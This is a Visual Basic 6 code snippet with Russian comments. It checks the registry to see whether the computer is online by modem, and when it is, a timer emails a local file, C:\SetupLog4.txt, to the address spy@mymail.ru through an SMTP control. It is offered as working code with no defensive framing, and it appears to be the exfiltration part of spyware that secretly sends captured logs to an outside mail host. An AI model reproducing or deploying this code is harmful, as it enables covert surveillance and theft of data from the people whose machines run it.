'Working with registry declarations and constants
Private Declare Function RegCloseKey Lib "advAPI32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advAPI32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advAPI32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Const ERROR_SUCCESS = 0&
Private Const APINULL = 0&
Private Const HKEY_LOCAL_MACHINE = &H80000002
'В форму надо предварительно добавить ActiveX элемент SMTP.ocx
'взять который можно на этом же сайте или по адресу www.ostrosoft.com
Private Function SendLog()

If SMTP.Attachments.Count = 0 Then
    With SMTP
        .Server = "SMTP.mymail.ru"
        .MailFrom = "spy@mymail.ru"
        .SendTo = "spy@mymail.ru"
        .MessageSubject = "LogInfo"
        .MessageText = "Your information:  "
        .Attachments.Add "C:\SetupLog4.txt", "C:\SetupLog4.txt"
        .SendEmail
    End With
Else
        SMTP.Attachments.Remove (1)
    With SMTP
        .Server = "SMTP.mymail.ru"
        .MailFrom = "spy@mymail.ru"
        .SendTo = "spy@mymail.ru"
        .MessageSubject = "LogInfo"
        .MessageText = "Your information:  "
        .Attachments.Add "C:\SetupLog4.txt", "C:\SetupLog4.txt"
        .SendEmail
    End With
End If

End Function

'проверка соединения с инетом
Private Sub Timer3_Timer()
If CheckConnection1 = True Then SendLog
End Sub

Private Function CheckConnection1() As Boolean
Dim ReturnCode As Long
Dim hKey As Long
Dim lpSubKey As String
Dim phkResult As Long
Dim lpValueName As String
Dim lpReserved As Long
Dim lpType As Long
Dim lpData As Long
Dim lpcbData As Long
lpSubKey = "System\CurrentControlSet\Services\RemoteAccess" & Chr$(0)
ReturnCode = RegOpenKey(HKEY_LOCAL_MACHINE, lpSubKey, phkResult)
If ReturnCode = ERROR_SUCCESS Then
   hKey = phkResult
   lpValueName = "Remote Connection"
   lpReserved = APINULL
   lpType = APINULL
   lpData = APINULL
   lpcbData = APINULL
   ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType, ByVal lpData, lpcbData)
   lpcbData = Len(lpData)
   ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType, lpData, lpcbData)
   If ReturnCode = ERROR_SUCCESS Then
       If lpData = 0 Then CheckConnection1 = False
          'MsgBox "Your computer is not connected to Internet via modem", vbInformation, "Checing connection"
       If lpData = 1 Then CheckConnection1 = True
          'MsgBox "Your computer is connected to Internet via modem", vbInformation, "Checing connection"
   End If
End If
RegCloseKey (hKey)
End Function